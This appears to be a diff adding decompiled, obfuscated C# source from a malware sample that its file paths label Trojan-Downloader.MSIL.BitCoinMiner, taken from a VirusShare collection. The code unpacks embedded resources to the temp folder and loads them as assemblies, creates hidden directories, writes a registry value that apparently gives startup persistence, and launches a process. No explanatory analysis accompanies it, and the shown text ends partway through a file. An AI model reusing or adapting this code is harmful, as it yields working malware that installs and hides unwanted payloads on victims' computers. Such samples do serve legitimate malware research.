+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0002\u0005([In] object obj0, [In] object obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0003/_0002.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0003;
+using System;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0003
+{
+  internal sealed class \u0002
+  {
+    private static \u0002 \u0001;
+    private long \u0002 = DateTime.Now.Ticks;
+
+    [DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
+    private static extern int \u0089(
+      IntPtr process,
+      int minimumWorkingSetSize,
+      int maximumWorkingSetSize);
+
+    private void \u0089()
+    {
+      try
+      {
+        using (Process currentProcess = Process.GetCurrentProcess())
+          \u0002.\u0089(currentProcess.Handle, -1, -1);
+      }
+      catch
+      {
+      }
+    }
+
+    private void \u0089(object sender, EventArgs e)
+    {
+      try
+      {
+        long ticks = DateTime.Now.Ticks;
+        if (ticks - this.\u0002 <= 10000000L)
+          return;
+        this.\u0002 = ticks;
+        this.\u0089();
+      }
+      catch
+      {
+      }
+    }
+
+    private \u0002()
+    {
+      // ISSUE: method pointer
+      Application.Idle += new EventHandler((object) this, __methodptr(\u0089));
+      this.\u0089();
+    }
+
+    public static void \u0007\u0003()
+    {
+      try
+      {
+        if (Environment.OSVersion.Platform != PlatformID.Win32NT)
+          return;
+        \u0002.\u0001 = new \u0002();
+      }
+      catch
+      {
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0003_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate int \u0003\u0004([In] object obj0, [In] char[] obj1, [In] int obj2);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0003_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0003\u0005([In] object obj0, [In] string obj1, [In] string obj2);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0004_0003/_0003_0003.cs

@@ -0,0 +1,230 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0004\u0003;
+using \u000E;
+using \u0019\u0002;
+using \u009C\u0002;
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using Microsoft.Win32;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0004\u0003
+{
+  internal sealed class \u0003\u0003 : Form
+  {
+    private IContainer \u0001;
+
+    [DebuggerNonUserCode]
+    public \u0003\u0003()
+    {
+      \u0016\u0003 obj1 = \u0016\u0003.\u0098\u0006;
+      \u0003\u0003 obj2 = this;
+      // ISSUE: virtual method pointer
+      EventHandler eventHandler = new EventHandler((object) obj2, __vmethodptr(obj2, \u0016\u0006));
+      obj1((object) this, eventHandler);
+      this.\u0011\u0006();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose([In] bool obj0)
+    {
+      try
+      {
+        if (!obj0 || this.\u0001 == null)
+          return;
+        \u0093\u0003.\u007E\u009E((object) this.\u0001);
+      }
+      finally
+      {
+        \u0013\u0003.\u0099\u0006((object) this, obj0);
+      }
+    }
+
+    private void \u0011\u0006()
+    {
+      // ISSUE: type reference
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(\u0002\u0004.\u0092\u0003(__typeref (\u0003\u0003)));
+      \u0093\u0003.\u007E\u008A\u0006((object) this);
+      \u009D\u0003.\u007E\u008B\u0006((object) this, new SizeF(6f, 13f));
+      \u0010\u0005.\u007E\u008C\u0006((object) this, AutoScaleMode.Font);
+      \u000F\u0005.\u007E\u008F\u0006((object) this, new Size(1, 1));
+      \u0013\u0003.\u007E\u0090\u0006((object) this, false);
+      \u0012\u0005.\u007E\u008E\u0006((object) this, FormBorderStyle.None);
+      \u001E\u0005.\u007E\u0091\u0006((object) this, (Icon) \u0019\u0004.\u007E\u0097\u0004((object) componentResourceManager, \u0008.\u000E\u0003(6889)));
+      \u0013\u0003.\u007E\u0092\u0006((object) this, false);
+      \u0013\u0003.\u007E\u0093\u0006((object) this, false);
+      \u001B\u0003.\u007E\u0088\u0006((object) this, \u0008.\u000E\u0003(6906));
+      \u0082\u0004.\u007E\u0094\u0006((object) this, 0.0);
+      \u0013\u0003.\u007E\u0096\u0006((object) this, false);
+      \u0013\u0003.\u007E\u0095\u0006((object) this, false);
+      \u0008\u0005.\u007E\u0097\u0006((object) this, SizeGripStyle.Hide);
+      \u0013\u0003.\u007E\u0089\u0006((object) this, false);
+    }
+
+    private void \u0012\u0006()
+    {
+label_0:
+      int num1;
+      int num2;
+      try
+      {
+        int num3 = 1;
+        string str1 = \u0007\u0005.\u007E\u0083((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()), \u0083\u0005.\u0083\u0006());
+label_1:
+        num3 = 2;
+        string[] strArray = \u001C\u0005.\u0086(str1, \u0008.\u000E\u0003(6915), -1, CompareMethod.Binary);
+label_2:
+        num3 = 3;
+        string str2 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[1], 0, 1));
+label_3:
+        num3 = 4;
+        string str3 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[2], 0, 1));
+label_4:
+        num3 = 5;
+        string str4 = \u0014\u0004.\u007E\u0015\u0002((object) \u0014\u0004.\u007E\u0084((object) \u0013\u0004.\u007E\u0082((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()))));
+label_5:
+        num3 = 6;
+        string str5 = \u0008.\u000E\u0003(6928);
+label_6:
+        num3 = 7;
+        string str6 = \u0014\u0004.\u007E\u0015\u0002((object) \u0083\u0003.\u001C\u0003(Environment.SpecialFolder.ApplicationData));
+label_7:
+        \u009E\u0004.\u0080();
+        num1 = -2;
+label_8:
+        num3 = 9;
+        string str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6933));
+label_9:
+        num3 = 10;
+        \u0011\u0004.\u001D\u0005(str7);
+label_10:
+        num3 = 11;
+        \u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str2, str7);
+label_11:
+        num3 = 12;
+        this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
+label_12:
+        num3 = 13;
+        str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6959));
+label_13:
+        num3 = 14;
+        \u0011\u0004.\u001D\u0005(str7);
+label_14:
+        num3 = 15;
+        \u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str3, str7);
+label_15:
+        num3 = 16;
+        this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
+label_16:
+        num3 = 17;
+        \u0003\u0003.\u0015\u0006(\u0008.\u000E\u0003(6976), \u0008.\u000E\u0003(6989));
+label_17:
+        num3 = 18;
+        this.\u0013\u0006();
+        goto label_24;
+label_19:
+        num2 = num3;
+        switch (num1 > -2 ? num1 : 1)
+        {
+          case 1:
+            int num4 = num2 + 1;
+            num2 = 0;
+            switch (num4)
+            {
+              case 1:
+                goto label_0;
+              case 2:
+                goto label_1;
+              case 3:
+                goto label_2;
+              case 4:
+                goto label_3;
+              case 5:
+                goto label_4;
+              case 6:
+                goto label_5;
+              case 7:
+                goto label_6;
+              case 8:
+                goto label_7;
+              case 9:
+                goto label_8;
+              case 10:
+                goto label_9;
+              case 11:
+                goto label_10;
+              case 12:
+                goto label_11;
+              case 13:
+                goto label_12;
+              case 14:
+                goto label_13;
+              case 15:
+                goto label_14;
+              case 16:
+                goto label_15;
+              case 17:
+                goto label_16;
+              case 18:
+                goto label_17;
+              case 19:
+                goto label_24;
+            }
+            break;
+        }
+      }
+      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
+      {
+        ProjectData.SetProjectError(ex);
+        goto label_19;
+      }
+      throw \u0095\u0003.\u001F(-2146828237);
+label_24:
+      if (num2 == 0)
+        return;
+      \u009E\u0004.\u0080();
+    }
+
+    private void \u0013\u0006()
+    {
+      Process process = new Process();
+      ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0008.\u000E\u0003(6989));
+      \u0091\u0003.\u007E\u001F\u0006((object) process, processStartInfo);
+      int num = \u0007\u0003.\u007E\u0080\u0006((object) process) ? 1 : 0;
+    }
+
+    private void \u0014\u0006([In] string obj0, [In] string obj1)
+    {
+      if (!\u0005\u0005.\u0014\u0005(obj1))
+        goto label_2;
+label_1:
+      new \u001A\u0002().\u0094\u0004(obj0, obj1, \u0008.\u000E\u0003(837));
+      return;
+label_2:
+      DirectoryInfo directoryInfo = new DirectoryInfo(obj1);
+      \u0093\u0003.\u007E\u0018\u0005((object) directoryInfo);
+      \u008F\u0004.\u007E\u0016\u0005((object) directoryInfo, FileAttributes.Hidden);
+      goto label_1;
+    }
+
+    public static void \u0015\u0006([In] string obj0, [In] string obj1)
+    {
+      RegistryKey currentUser = Registry.CurrentUser;
+      RegistryKey registryKey = \u0090\u0003.\u007E\u0098\u0004((object) currentUser, \u0008.\u000E\u0003(7026), true);
+      \u0092\u0003.\u007E\u0099\u0004((object) registryKey, obj0, (object) obj1, RegistryValueKind.String);
+    }
+
+    private void \u0016\u0006([In] object obj0, [In] EventArgs obj1) => this.\u0012\u0006();
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0004_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate int \u0004\u0004([In] object obj0, [In] object obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0004_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0004\u0005([In] byte[] obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0005/_0004.cs

@@ -0,0 +1,184 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0005;
+using System;
+using System.Reflection;
+using System.Reflection.Emit;
+using System.Runtime.InteropServices;
+
+namespace \u0005
+{
+  internal static class \u0004
+  {
+    private static ModuleHandle \u0001;
+    private static char[] \u0002 = new char[58]
+    {
+      '\u0001',
+      '\u0002',
+      '\u0003',
+      '\u0004',
+      '\u0005',
+      '\u0006',
+      '\a',
+      '\b',
+      '\u000E',
+      '\u000F',
+      '\u0010',
+      '\u0011',
+      '\u0012',
+      '\u0013',
+      '\u0014',
+      '\u0015',
+      '\u0016',
+      '\u0017',
+      '\u0018',
+      '\u0019',
+      '\u001A',
+      '\u001B',
+      '\u001C',
+      '\u001D',
+      '\u001E',
+      '\u001F',
+      '\u007F',
+      '\u0080',
+      '\u0081',
+      '\u0082',
+      '\u0083',
+      '\u0084',
+      '\u0086',
+      '\u0087',
+      '\u0088',
+      '\u0089',
+      '\u008A',
+      '\u008B',
+      '\u008C',
+      '\u008D',
+      '\u008E',
+      '\u008F',
+      '\u0090',
+      '\u0091',
+      '\u0092',
+      '\u0093',
+      '\u0094',
+      '\u0095',
+      '\u0096',
+      '\u0097',
+      '\u0098',
+      '\u0099',
+      '\u009A',
+      '\u009B',
+      '\u009C',
+      '\u009D',
+      '\u009E',
+      '\u009F'
+    };
+
+    public static void \u0008\u0003([In] int obj0)
+    {
+      Type typeFromHandle;
+      try
+      {
+        typeFromHandle = Type.GetTypeFromHandle(\u0004.\u0001.ResolveTypeHandle(33554433 + obj0));
+      }
+      catch
+      {
+        return;
+      }
+      foreach (FieldInfo field in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
+      {
+        string name = field.Name;
+        bool flag = false;
+        int num = 0;
+        for (int index1 = name.Length - 1; index1 >= 0; --index1)
+        {
+          char ch = name[index1];
+          if (ch == '~')
+          {
+            flag = true;
+            break;
+          }
+          for (int index2 = 0; index2 < 58; ++index2)
+          {
+            if ((int) \u0004.\u0002[index2] == (int) ch)
+            {
+              num = num * 58 + index2;
+              break;
+            }
+          }
+        }
+        MethodInfo methodFromHandle;
+        try
+        {
+          methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0004.\u0001.ResolveMethodHandle(num + 167772161));
+        }
+        catch
+        {
+          continue;
+        }
+        Delegate @delegate;
+        if (methodFromHandle.IsStatic)
+        {
+          try
+          {
+            @delegate = Delegate.CreateDelegate(field.FieldType, methodFromHandle);
+          }
+          catch (Exception ex)
+          {
+            continue;
+          }
+        }
+        else
+        {
+          ParameterInfo[] parameters = methodFromHandle.GetParameters();
+          int length = parameters.Length + 1;
+          Type[] parameterTypes = new Type[length];
+          parameterTypes[0] = typeof (object);
+          for (int index = 1; index < length; ++index)
+            parameterTypes[index] = parameters[index - 1].ParameterType;
+          DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
+          ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
+          ilGenerator.Emit(OpCodes.Ldarg_0);
+          if (length > 1)
+            ilGenerator.Emit(OpCodes.Ldarg_1);
+          if (length > 2)
+            ilGenerator.Emit(OpCodes.Ldarg_2);
+          if (length > 3)
+            ilGenerator.Emit(OpCodes.Ldarg_3);
+          if (length > 4)
+          {
+            for (int index = 4; index < length; ++index)
+              ilGenerator.Emit(OpCodes.Ldarg_S, index);
+          }
+          ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
+          ilGenerator.Emit(OpCodes.Ret);
+          try
+          {
+            @delegate = dynamicMethod.CreateDelegate(typeFromHandle);
+          }
+          catch
+          {
+            continue;
+          }
+        }
+        try
+        {
+          field.SetValue((object) null, (object) @delegate);
+        }
+        catch
+        {
+        }
+      }
+    }
+
+    static \u0004()
+    {
+      if ((object) typeof (MulticastDelegate) == null)
+        return;
+      \u0004.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0005_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate ModuleHandle \u0005\u0004([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0005_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate bool \u0005\u0005([In] string obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006/_0006.cs

@@ -0,0 +1,298 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0012;
+using System;
+using System.Collections;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace \u0006
+{
+  internal sealed class \u0006
+  {
+    private static Hashtable \u0001 = new Hashtable();
+
+    [DllImport("kernel32", EntryPoint = "MoveFileEx")]
+    private static extern bool \u008A([In] string obj0, [In] string obj1, [In] int obj2);
+
+    [SpecialName]
+    internal static bool \u008A()
+    {
+      try
+      {
+        string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower();
+        if (lower == \u0008.\u000E\u0003(166))
+          return true;
+        if (lower == \u0008.\u000E\u0003(179))
+          return true;
+      }
+      catch (Exception ex)
+      {
+      }
+      return false;
+    }
+
+    internal static void \u008A()
+    {
+      try
+      {
+        AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0006.\u0006.\u008A);
+        if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0006.\u0006.\u008A())
+          return;
+        string[] strArray = \u0008.\u000E\u0003(200).Split(',');
+        for (int index = 0; index < strArray.Length - 1; index += 2)
+        {
+          try
+          {
+            string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index]));
+            string str2 = strArray[index + 1];
+            if (str2.Length > 0)
+            {
+              if (str2[0] == '[')
+              {
+                int num = str2.IndexOf(']');
+                string str3 = str2.Substring(1, num - 1);
+                string name = str2.Substring(num + 1);
+                bool flag = str3.IndexOf('z') >= 0;
+                if (str3.IndexOf('f') >= 0)
+                {
+                  Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
+                  if (manifestResourceStream != null)
+                  {
+                    int length = (int) manifestResourceStream.Length;
+                    byte[] buffer = new byte[length];
+                    manifestResourceStream.Read(buffer, 0, length);
+                    if (flag)
+                      buffer = \u0011.\u000F\u0003(buffer);
+                    try
+                    {
+                      string path1 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) name);
+                      Directory.CreateDirectory(path1);
+                      \u0006.\u0006.\u0006 obj = new \u0006.\u0006.\u0006(str1);
+                      string path2 = path1 + obj.\u0001 + \u0008.\u000E\u0003(431);
+                      if (!File.Exists(path2))
+                      {
+                        FileStream fileStream = File.OpenWrite(path2);
+                        fileStream.Write(buffer, 0, buffer.Length);
+                        fileStream.Close();
+                      }
+                      \u0089.\u0006.\u008A(path2);
+                      try
+                      {
+                        File.Delete(path2);
+                        Directory.Delete(path1);
+                      }
+                      catch
+                      {
+                      }
+                    }
+                    catch (Exception ex)
+                    {
+                    }
+                  }
+                }
+              }
+            }
+          }
+          catch (Exception ex)
+          {
+          }
+        }
+      }
+      catch (Exception ex)
+      {
+      }
+    }
+
+    internal static Assembly \u008A([In] object obj0, [In] ResolveEventArgs obj1)
+    {
+      \u0006.\u0006.\u0006 obj = new \u0006.\u0006.\u0006(obj1.Name);
+      string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u008A(false)));
+      string[] strArray = \u0008.\u000E\u0003(200).Split(',');
+      string str1 = string.Empty;
+      bool flag1 = false;
+      bool flag2 = false;
+      bool flag3 = false;
+      for (int index = 0; index < strArray.Length - 1; index += 2)
+      {
+        if (strArray[index] == base64String1)
+        {
+          str1 = strArray[index + 1];
+          break;
+        }
+      }
+      if (str1.Length == 0 && obj.\u0004.Length == 0)
+      {
+        string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
+        for (int index = 0; index < strArray.Length - 1; index += 2)
+        {
+          if (strArray[index] == base64String2)
+          {
+            str1 = strArray[index + 1];
+            break;
+          }
+        }
+      }
+      if (str1.Length > 0)
+      {
+        if (str1[0] == '[')
+        {
+          int num = str1.IndexOf(']');
+          string str2 = str1.Substring(1, num - 1);
+          flag1 = str2.IndexOf('z') >= 0;
+          flag2 = str2.IndexOf('g') >= 0;
+          flag3 = str2.IndexOf('t') >= 0;
+          str1 = str1.Substring(num + 1);
+        }
+        lock (\u0006.\u0006.\u0001)
+        {
+          if (\u0006.\u0006.\u0001.ContainsKey((object) str1))
+            return (Assembly) \u0006.\u0006.\u0001[(object) str1];
+          Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
+          if (manifestResourceStream != null)
+          {
+            int length = (int) manifestResourceStream.Length;
+            byte[] numArray = new byte[length];
+            manifestResourceStream.Read(numArray, 0, length);
+            if (flag1)
+              numArray = \u0011.\u000F\u0003(numArray);
+            if (flag2)
+            {
+              try
+              {
+                string path1 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) str1);
+                Directory.CreateDirectory(path1);
+                string path2 = path1 + obj.\u0001 + \u0008.\u000E\u0003(431);
+                if (!File.Exists(path2))
+                {
+                  Assembly assembly = (Assembly) null;
+                  FileStream fileStream = File.OpenWrite(path2);
+                  fileStream.Write(numArray, 0, numArray.Length);
+                  fileStream.Close();
+                  if (\u0089.\u0006.\u008A(path2))
+                    assembly = Assembly.Load(obj.\u008A(true));
+                  File.Delete(path2);
+                  Directory.Delete(path1);
+                  if ((object) assembly != null)
+                  {
+                    if (\u0006.\u0006.\u0001.ContainsKey((object) str1))
+                      assembly = (Assembly) \u0006.\u0006.\u0001[(object) str1];
+                    else
+                      \u0006.\u0006.\u0001.Add((object) str1, (object) assembly);
+                    return assembly;
+                  }
+                }
+              }
+              catch
+              {
+              }
+            }
+            Assembly assembly1 = (Assembly) null;
+            if (!flag3)
+            {
+              try
+              {
+                assembly1 = Assembly.Load(numArray);
+              }
+              catch (FileLoadException ex)
+              {
+                flag3 = true;
+              }
+              catch (BadImageFormatException ex)
+              {
+                flag3 = true;
+              }
+            }
+            if (flag3)
+            {
+              try
+              {
+                string path3 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) str1);
+                Directory.CreateDirectory(path3);
+                string path4 = path3 + obj.\u0001 + \u0008.\u000E\u0003(431);
+                if (!File.Exists(path4))
+                {
+                  FileStream fileStream = File.OpenWrite(path4);
+                  fileStream.Write(numArray, 0, numArray.Length);
+                  fileStream.Close();
+                  \u0006.\u0006.\u008A(path4, (string) null, 4);
+                  \u0006.\u0006.\u008A(path3, (string) null, 4);
+                }
+                assembly1 = Assembly.LoadFile(path4);
+              }
+              catch
+              {
+              }
+            }
+            \u0006.\u0006.\u0001[(object) str1] = (object) assembly1;
+            return assembly1;
+          }
+        }
+      }
+      return (Assembly) null;
+    }
+
+    internal struct \u0006
+    {
+      public string \u0001;
+      public Version \u0002;
+      public string \u0003;
+      public string \u0004;
+
+      public string \u008A([In] bool obj0)
+      {
+        StringBuilder stringBuilder = new StringBuilder();
+        stringBuilder.Append(this.\u0001);
+        if (obj0)
+        {
+          stringBuilder.Append(\u0008.\u000E\u0003(440));
+          stringBuilder.Append((object) this.\u0002);
+        }
+        stringBuilder.Append(\u0008.\u000E\u0003(457));
+        stringBuilder.Append(this.\u0003.Length == 0 ? \u0008.\u000E\u0003(474) : this.\u0003);
+        stringBuilder.Append(\u0008.\u000E\u0003(487));
+        stringBuilder.Append(this.\u0004.Length == 0 ? \u0008.\u000E\u0003(512) : this.\u0004);
+        return stringBuilder.ToString();
+      }
+
+      public \u0006([In] string obj0)
+      {
+        this.\u0002 = new Version();
+        this.\u0003 = string.Empty;
+        this.\u0004 = string.Empty;
+        this.\u0001 = string.Empty;
+        string str1 = obj0;
+        char[] chArray = new char[1]{ ',' };
+        foreach (string str2 in str1.Split(chArray))
+        {
+          string str3 = str2.Trim();
+          if (str3.StartsWith(\u0008.\u000E\u0003(521)))
+            this.\u0002 = new Version(str3.Substring(8));
+          else if (str3.StartsWith(\u0008.\u000E\u0003(534)))
+          {
+            this.\u0003 = str3.Substring(8);
+            if (this.\u0003 == \u0008.\u000E\u0003(474))
+              this.\u0003 = string.Empty;
+          }
+          else if (str3.StartsWith(\u0008.\u000E\u0003(547)))
+          {
+            this.\u0004 = str3.Substring(15);
+            if (this.\u0004 == \u0008.\u000E\u0003(512))
+              this.\u0004 = string.Empty;
+          }
+          else
+            this.\u0001 = str3;
+        }
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006/_00062.cs

@@ -0,0 +1,51 @@
+// Decompiled with JetBrains decompiler
+// Type: .2
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0006;
+using \u000E;
+using System;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+namespace \u0006
+{
+  internal sealed class \u00062
+  {
+    private static Assembly \u0001 = (Assembly) null;
+    private static string[] \u0002 = new string[0];
